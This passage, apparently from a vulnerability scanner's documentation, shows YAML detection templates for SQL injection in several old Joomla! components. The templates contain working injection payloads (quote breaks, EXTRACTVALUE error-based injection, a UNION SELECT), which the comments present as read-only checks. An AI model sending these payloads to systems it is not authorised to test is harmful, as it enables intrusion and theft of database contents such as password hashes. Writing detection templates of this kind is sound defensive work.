        remediation: "Update the Barter Sites component to a release that casts or escapes the category_id parameter, or remove the component. Turn off the display of PHP warnings and database errors to visitors."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1'{{m.tag}} printed 'Invalid argument supplied for foreach()'; the same view with category_id=1 returned status {{ctl_r.status}} without it"
      stop: true

Joomla! EQ Event Calendar eqfullevent id SQL injection

CVECVE-2015-4654
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-4654.yaml

Sends a quote in the id parameter of the eqfullevent component and reports when the response contains a MySQL syntax error that echoes the injected marker.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php/component/eqfullevent?view=lists&id=1%27SQL-INJECTION-TEST HTTP/1.0
  2. Checks resp.banner for (?s)You have an error in your SQL syntax.*SQL-INJECTION-TEST → finding QoD 75: Joomla! eqfullevent id parameter returned a MySQL syntax error echoing SQL-INJECTION-TEST: …

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-4654.yaml
uid: 5d5952fe-766c-46c9-a8ca-ef612f9fcb09
name: "Joomla! EQ Event Calendar eqfullevent id SQL injection (CVE-2015-4654)"
description: "Sends a quote in the id parameter of the eqfullevent component and reports when the response contains a MySQL syntax error that echoes the injected marker."
cves: [CVE-2015-4654]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, joomla-eq-calendar]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-4654"
  - "OpenVAS NASL 2015/gb_joomla_eq_event_calendar_sql_inj_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/gb_joomla_eq_event_calendar_sql_inj_vuln.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php/component/eqfullevent?view=lists&id=1%27SQL-INJECTION-TEST HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)You have an error in your SQL syntax.*SQL-INJECTION-TEST"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "Joomla! eqfullevent id parameter returned a MySQL syntax error echoing SQL-INJECTION-TEST: {{resp.banner}}"
      stop: true

Joomla! Estate Agent component 'id' SQL Injection

CVECVE-2011-4571
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2011-4571.yaml

Tests the Estate Agent component for Joomla! (com_estateagent) for the unauthenticated SQL injection through the id parameter of its object view (act=object, task=showEO). In the web root and in /joomla, the feed requests the view with an id value that makes the database raise an XPath error carrying the product of two random numbers, in both a numeric and a quoted query context. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, or the PHP foreach() warning the failed query leaves behind on a Joomla! page, provided the same view with a plain numeric id shows neither. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%20AND%…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%27%20A…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)
  8. HTTP(S) request GET {{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%27{{m.…
  9. HTTP(S) request GET {{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)
  13. Checks fe for ^foreach warning after quote$ → finding QoD 70: Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2011-4571.yaml
# Joomla! Estate Agent component (com_estateagent) 'id' SQL injection — CVE-2011-4571
#
# The Estate Agent component's object view (index.php?option=com_estateagent
# &act=object&task=showEO&id=<n>) pastes the RAW id request value into its
# object query. Joomla 1.5/2.5 prints a failed query (die($db->stderr()):
# "DB function failed ... You have an error in your SQL syntax"), and when the
# database layer stays silent the failed result still reaches a foreach() that
# prints "Invalid argument supplied for foreach()". The component's code could
# not be obtained, so whether the id lands in a numeric or a quoted context is
# unknown and both are probed.
#
# Detection (benign, read-only), for the web root and /joomla:
#   1. id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))            (numeric context)
#      id=1' AND extractvalue(1,concat(0x7e,<a>*<b>)) AND '1'='1  (quoted context)
#      The database raises "XPATH syntax error: '~<a×b>'". The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. MySQL / MariaDB fold the constant, so
#      it errors even when the object table is empty. QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): id=1'<random marker> must
#      return a MySQL "SQL syntax" error quoting the marker while the control
#      id=1 answers without any SQL error. QoD 75.
#   3. Fallback when database errors are hidden: id=1'<marker> yields the PHP
#      "Invalid argument supplied for foreach()" warning on a Joomla! page while
#      the control id=1 does not. QoD 70.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed error-string match on a bare quote (QoD 97), both query contexts, a
# random marker and an error-free control (the NASL reports any page that
# prints the pattern), and a /joomla install directory. The NASL's fixed
# Itemid is kept only as a harmless routing parameter.
#
# CVSS: CVE-2011-4571 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_joomla_com_estateagent_sql_inj_vuln.nasl
# (GPL-2.0-only).
uid: a8f471b9-ffa6-4a47-8665-82a465c5b9e8
name: "Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)"
description: |
  Tests the Estate Agent component for Joomla! (com_estateagent) for the
  unauthenticated SQL injection through the id parameter of its object view
  (act=object, task=showEO). In the web root and in /joomla, the feed requests
  the view with an id value that makes the database raise an XPath error
  carrying the product of two random numbers, in both a numeric and a quoted
  query context. The correct product in the page, whether the error is printed
  raw or HTML-escaped, confirms that the database ran the injected expression;
  the product is not part of the request, so a page that only echoes the URL
  is not reported. On databases without the EXTRACTVALUE function, the feed
  instead reports a MySQL syntax error that quotes a random marker sent after a
  single quote, or the PHP foreach() warning the failed query leaves behind on
  a Joomla! page, provided the same view with a plain numeric id shows neither.
  The probes read no table row and change nothing.
cves: [CVE-2011-4571]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-estate-agent, com_estateagent, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4571"
  # OpenVAS/Greenbone NASL 2012/gb_joomla_com_estateagent_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/joomla"]
      var: dir

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  # Numeric context: id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: num_r

  # Joomla 3 style pages show the error HTML-escaped; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if proof == "" && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  # Quoted context: id=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)"
        description: "An unauthenticated GET to the Estate Agent object view with SQL appended to the id parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the Estate Agent component to a release that casts or escapes the id parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?option=com_estateagent&act=object&task=showEO with an injected id computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallbacks: quote + random marker, with a control that shows no error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && (egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" || (stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != ""))'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 {
        if egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" { "SQL syntax error quoting " + m.tag } else { "" }
      } else { "" }
    store_as: syn

  - id: verdict-foreach
    action: script
    code: |
      if proof == "" && syn == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 && stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != "" { "foreach warning after quote" } else { "" }
    store_as: fe

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)"
        description: "An unauthenticated GET to the Estate Agent object view with a single quote and a random marker in the id parameter returned a MySQL syntax error quoting the marker, while the same view with a numeric id showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the Estate Agent component to a release that casts or escapes the id parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{dir}}/index.php?option=com_estateagent&act=object&task=showEO&id=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; the same view with id=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

  - id: report-foreach
    action: match
    source: fe
    pattern: "^foreach warning after quote$"
    on_match:
      finding:
        title: "Joomla! Estate Agent component 'id' SQL Injection (CVE-2011-4571)"
        description: "An unauthenticated GET to the Estate Agent object view with a single quote and a random marker in the id parameter made the page print the PHP warning 'Invalid argument supplied for foreach()' (the failed query's result is iterated), while the same view with a numeric id did not: the parameter is pasted into the query unescaped. Database errors are hidden on this site, so no query output was proven."
        remediation: "Update the Estate Agent component to a release that casts or escapes the id parameter, or remove the component. Turn off the display of PHP warnings and database errors to visitors."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{dir}}/index.php?option=com_estateagent&act=object&task=showEO&id=1'{{m.tag}} printed 'Invalid argument supplied for foreach()'; the same view with id=1 returned status {{ctl_r.status}} without it"
      stop: true

Joomla! JEvents com_events year parameter SQL Injection

Severityhigh
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/joomla/jevents-year-sqli.yaml

Tests the JEvents (com_events) component of Joomla! 1.5.0 for SQL injection in the `year` parameter of the yearly view. A request with a single quote as the year makes the SQL query fail, so the page prints PHP's "array_merge(): Argument #1 is not an array" warning, while the same request with a valid year does not. The warning in the quote reply only, absent from the control reply, confirms the injection. Nothing is read or written on the target.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/index.php?option=com_events&task=view_year&year=2010 HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/index.php?option=com_events&task=view_year&year=%27 HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^hit → finding QoD 75: Joomla! JEvents com_events year parameter SQL Injection

References:

Feed source — tests/vulnerabilities/joomla/jevents-year-sqli.yaml
# Joomla! JEvents 1.5.0 (com_events) — 'year' parameter SQL injection
#
# The com_events component of JEvents 1.5.0 pastes the `year` request parameter of
# index.php?option=com_events&task=view_year into an SQL query without sanitising
# it. A quote breaks the query, its result is then not an array and PHP prints
# "Warning: array_merge(): Argument #1 is not an array" in the page.
#
# Detection (QoD 75, response analysis): for the web root and the /joomla install
# directory, request task=view_year with a valid year (control) and with year=' .
# The finding needs the warning (with the array_merge() call) in the probe reply and
# NOT in the control reply, so a page that always prints the warning, or one that
# echoes the request, does not match. Read-only: one extra quote, no payload data.
#
# Better than the source NASL: it matched the warning on the single quote request;
# the differential control removes pages that carry the warning for any input.
#
# CVE mapping: the issue tracks CVE-2010-0635, but NVD describes that CVE as a SQL
# injection in the JEvents *Search plugin* (eventsearch.php, 1.5 through 1.5.3) with
# unspecified vectors, not the com_events `year` parameter tested here, so the feed
# carries no CVE ID (the issue is still closed by its PR).
#
# Source: OpenVAS/Greenbone NVT 2013/gb_joomla_jevents_com_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.903104, GPL-2.0-only).
uid: 0b9e6f1d-5a3c-4b7e-8d24-7c1f9a6e3b52
name: "Joomla! JEvents com_events year parameter SQL Injection"
description: |
  Tests the JEvents (com_events) component of Joomla! 1.5.0 for SQL injection in the
  `year` parameter of the yearly view. A request with a single quote as the year makes
  the SQL query fail, so the page prints PHP's "array_merge(): Argument #1 is not an
  array" warning, while the same request with a valid year does not. The warning in
  the quote reply only, absent from the control reply, confirms the injection. Nothing
  is read or written on the target.
cves: []
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-component, jevents, com_events, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0635"
  # OpenVAS/Greenbone NASL 2013/gb_joomla_jevents_com_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: "-"

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {connected: false, banner: ""}
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}

  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/index.php?option=com_events&task=view_year&year=2010 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    condition: 'hit_dir == "-"'
    store_as: ctl

  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/index.php?option=com_events&task=view_year&year=%27 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    condition: 'hit_dir == "-" && ctl.connected'
    store_as: probe

  - id: check
    action: script
    condition: 'hit_dir == "-"'
    code: |
      let c = if type_of(ctl.banner) == "string" { ctl.banner } else { "" };
      let p = if type_of(probe.banner) == "string" { probe.banner } else { "" };
      if p.contains("Argument #1 is not an array") && p.contains("array_merge()")
         && !c.contains("Argument #1 is not an array") { "hit" + dir } else { "-" }
    store_as: hit_dir

  - id: report
    action: match
    source: hit_dir
    pattern: "^hit"
    on_match:
      finding:
        title: "Joomla! JEvents com_events year parameter SQL Injection"
        description: "A single quote in the year parameter of the JEvents yearly view made the SQL query fail and PHP print the array_merge() 'Argument #1 is not an array' warning, which the same request with a valid year does not produce: the parameter is pasted unsanitised into an SQL query."
        remediation: "Upgrade the JEvents component to a release that validates the year parameter, or remove it."
        confidence_delta: 0.45
        qod: 75
        evidence: "index.php?option=com_events&task=view_year&year=' printed the array_merge() warning; year=2010 did not"
      stop: true

Joomla! JoomRadio component id SQL Injection

CVECVE-2008-2633
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2008-2633.yaml

Tests the JoomRadio component for Joomla! and Mambo for the unauthenticated SQL injection in the id parameter of its show_video and show_radio pages. In the web root and in the /joomla and /mambo directories, the feed requests both pages through index.php (and show_video through index2.php) with an id that ends the original query and appends a UNION SELECT asking the database to compute the product of two random numbers, framed by a NOCTIS marker, in every column. The marker with the correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{url}}&id=-1%20UNION%20SELECT%20{{col}},{{col}},{{col}},{{col}},{{col}},{{col}},{{co…
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^NOCTIS[0-9]+END$ → finding QoD 97: Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2008-2633.yaml
# Joomla! / Mambo JoomRadio component id SQL injection — CVE-2008-2633
#
# JoomRadio 1.0 (com_joomradio) copies the id parameter of its show_video and
# show_radio pages unquoted into a 7-column SELECT and prints the second column
# of each row into the page's JavaScript (var message="...").
#
# Detection (benign, read-only), per candidate path:
#   {"", /joomla, /mambo} × {page=show_video, page=show_radio}, then
#   /index2.php?...page=show_video (the second published PoC's entry point)
#   GET <dir>/index.php?option=com_joomradio&page=<page>&id=-1 UNION SELECT C,C,C,C,C,C,C-- -
#   with C = CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) ("NOCTIS" <a×b> "END").
#   The product of two random 6-digit operands is computed by the database and
#   is not part of the request, so a page that only echoes the URL cannot
#   produce it. The marker is in every column, so it shows whatever column the
#   template prints. QoD 97. No table row is read or changed.
#
# Improvements over the source NASL: the NASL dumps jos_users usernames and
# password hashes (and so misses any install whose table prefix is not "jos_"),
# only probes show_video, and only the web root. This feed reads no table,
# works with any prefix, probes both published injection points (show_video and
# show_radio) through index.php and index2.php, in the /joomla and /mambo
# subdirectories too, and uses a database-computed proof.
#
# Verified against a reconstructed sink (PHP 8.3 + MariaDB 10.11, raw id vs
# intval(id)) as well as the Python mock.
#
# CVSS: CVE-2008-2633 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_joomla_joomRadio_sqli_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100007, GPL-2.0-only).
uid: 53882f23-b70a-4639-9364-c7c40bce0760
name: "Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)"
description: |
  Tests the JoomRadio component for Joomla! and Mambo for the unauthenticated
  SQL injection in the id parameter of its show_video and show_radio pages.
  In the web root and in the /joomla and /mambo directories, the feed requests
  both pages through index.php (and show_video through index2.php)
  with an id that ends the original query and appends a UNION SELECT asking the
  database to compute the product of two random numbers, framed by a NOCTIS
  marker, in every column. The marker with the correct product in the page
  confirms that the database ran the injected query; the product is not part
  of the request, so a page that only echoes the URL is not reported. The probe
  reads no table row and changes nothing.
cves: [CVE-2008-2633]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, mambo, joomradio, php, mysql, sqli, union, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-2633"
  - "https://www.exploit-db.com/exploits/5729"
  - "https://www.exploit-db.com/exploits/12400"
  # OpenVAS/Greenbone NASL 2009/gb_joomla_joomRadio_sqli_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected marker is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-marker
    action: script
    code: '"NOCTIS" + (m.a * m.b) + "END"'
    store_as: marker

  - id: mint-column
    action: script
    code: '"CONCAT(0x4e4f43544953," + m.a + "*" + m.b + ",0x454e44)"'
    store_as: col

  # ── Loop group: every step below runs once per candidate URL ─────────────
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "/index.php?option=com_joomradio&page=show_video"
        - "/index.php?option=com_joomradio&page=show_radio"
        - "/joomla/index.php?option=com_joomradio&page=show_video"
        - "/joomla/index.php?option=com_joomradio&page=show_radio"
        - "/mambo/index.php?option=com_joomradio&page=show_video"
        - "/mambo/index.php?option=com_joomradio&page=show_radio"
        - "/index2.php?option=com_joomradio&page=show_video"
      var: url

  - id: inject
    action: http_request
    method: GET
    path: "{{url}}&id=-1%20UNION%20SELECT%20{{col}},{{col}},{{col}},{{col}},{{col}},{{col}},{{col}}--%20-"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: resp

  - id: verdict
    action: script
    code: |
      if type_of(resp.body) == "string" && stridx(resp.body, marker) >= 0 { marker } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^NOCTIS[0-9]+END$"
    on_match:
      finding:
        title: "Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)"
        description: "An unauthenticated request to the JoomRadio component with a UNION SELECT injected through the id parameter made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way, including reading the Joomla! users table with its password hashes."
        remediation: "No fixed JoomRadio release is known. Uninstall the com_joomradio component, or patch it to cast the id parameter to an integer before building the query."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{url}}&id=-1 UNION SELECT CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44) (x7) returned the database-computed marker {{proof}}"
      stop: true

Joomla! YouTube Gallery component 'listid' SQL Injection

CVECVE-2014-4960
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2014-4960.yaml

Tests the YouTube Gallery component for Joomla! (com_youtubegallery) for the unauthenticated SQL injection through the listid parameter of its gallery view. In the web root and in /joomla, the feed requests the gallery view with a listid value that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same view with a plain numeric listid shows no SQL error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%20AND%20extr…
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)
  6. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%27{{m.tag}}&…
  7. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1
  8. Parses / computes the next value with a Rhai script
  9. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2014-4960.yaml
# Joomla! YouTube Gallery component (com_youtubegallery) 'listid' SQL injection — CVE-2014-4960
#
# YouTube Gallery <= 4.1.7 (joomlaboat) accepts any listid whose leading part
# is an integer (JRequest::getInt check in models/gallery.php), then pastes the
# RAW value into getVideoListTableRow():
#   ... WHERE #__youtubegallery_videolists.id=<listid>  LIMIT 1
# (numeric context, no quotes), and the same for themeid in getThemeTableRow().
# A failed query is printed: die($db->stderr()) on Joomla 1.5/2.5
# ("DB function failed ... <font color=red>MSG SQL=...</font>"), the 500 error
# page (htmlspecialchars'd message) on Joomla 3. Later releases cast both
# values with (int). Public PoC: EDB-34087 / 1337DAY-ID-22441.
#
# Detection (benign, read-only), for the web root and /joomla:
#   1. GET index.php?option=com_youtubegallery&view=youtubegallery
#        &listid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))&themeid=1
#      The database raises "XPATH syntax error: '~<a×b>'". The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. MySQL / MariaDB fold the constant, so
#      it errors even when the video list table is empty (checked on MariaDB
#      10.11 with the reconstructed query). QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): listid=1'<random marker>
#      must return a MySQL "SQL syntax" error quoting the marker, while the
#      control listid=1 answers without any SQL error (fail-closed). QoD 75.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed marker echo (QoD 97), HTML-escaped error pages (Joomla 3) accepted,
# a random marker and an error-free control for the fallback, and a /joomla
# install directory.
#
# CVSS: CVE-2014-4960 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_joomla_youtube_gallery_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804720, GPL-2.0-only).
uid: 1895e54f-a0e1-46c4-940e-7d9a9c42edfe
name: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
description: |
  Tests the YouTube Gallery component for Joomla! (com_youtubegallery) for the
  unauthenticated SQL injection through the listid parameter of its gallery
  view. In the web root and in /joomla, the feed requests the gallery view with
  a listid value that makes the database raise an XPath error carrying the
  product of two random numbers. The correct product in the page, whether the
  error is printed raw or HTML-escaped, confirms that the database ran the
  injected expression; the product is not part of the request, so a page that
  only echoes the URL is not reported. On databases without the EXTRACTVALUE
  function, the feed instead reports a MySQL syntax error that quotes a random
  marker sent after a single quote, provided the same view with a plain numeric
  listid shows no SQL error. The probes read no table row and change nothing.
cves: [CVE-2014-4960]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-youtube-gallery, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4960"
  - "https://www.exploit-db.com/exploits/34087"
  # OpenVAS/Greenbone NASL 2014/gb_joomla_youtube_gallery_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-xp-r
    action: set_var
    var_name: xp_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/joomla"]
      var: dir

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  # listid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-xpath
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))&themeid=1"
